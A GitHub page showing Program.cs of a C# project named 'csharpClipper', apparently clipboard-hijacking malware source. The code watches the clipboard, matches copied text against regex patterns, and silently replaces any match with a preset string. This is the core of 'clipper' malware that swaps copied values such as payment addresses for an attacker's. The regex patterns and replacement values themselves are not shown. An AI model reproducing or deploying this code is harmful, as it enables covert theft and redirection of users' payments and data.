-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
92 lines (82 loc) · 2.78 KB
/
Program.cs
File metadata and controls
92 lines (82 loc) · 2.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
using System.Diagnostics;
namespace csharpClipper;
class Program
{
private static readonly ManualResetEventSlim exitEvent = new(false);
private static volatile bool _isInternalClipboardUpdate = false;
private static readonly Stopwatch stopwatch = new();
private static bool patternsInitialized = false;
static void Main()
{
stopwatch.Start();
try
{
Logger.Log("Initializing RegexPatterns...");
RegexPatterns.Initialize();
patternsInitialized = true;
Logger.Log("Starting ClipboardListener...");
ClipboardListener.Start();
ClipboardListener.ClipboardUpdate += Listener_ClipboardUpdate;
Logger.Log("Press Ctrl+C to exit...");
Console.CancelKeyPress += (sender, e) =>
{
e.Cancel = true;
Logger.Log("Exit signal received.");
exitEvent.Set();
};
exitEvent.Wait();
}
catch (Exception ex)
{
Logger.LogException(ex, "Main");
}
finally
{
Logger.Log("Cleaning up resources...");
ClipboardListener.Stop();
stopwatch.Stop();
Logger.Log("Application exited.");
Logger.Shutdown();
}
}
private static void Listener_ClipboardUpdate(object sender, EventArgs e)
{
if (!_isInternalClipboardUpdate)
{
Task.Run(() =>
{
try
{
var clipboardText = ClipboardHelper.GetClipboardText();
if (string.IsNullOrEmpty(clipboardText))
{
return;
}
foreach (var (regex, replacement) in RegexPatterns.GetPatterns())
{
var match = regex.Match(clipboardText);
if (match.Success)
{
if (replacement == clipboardText)
{
return;
}
Logger.Log($"Replacing clipboard text with: {replacement}");
_isInternalClipboardUpdate = true;
ClipboardHelper.SetClipboardText(replacement);
return;
}
}
}
catch (Exception ex)
{
Logger.LogException(ex, "ClipboardUpdate Task");
}
});
}
else
{
_isInternalClipboardUpdate = false;
}
}
}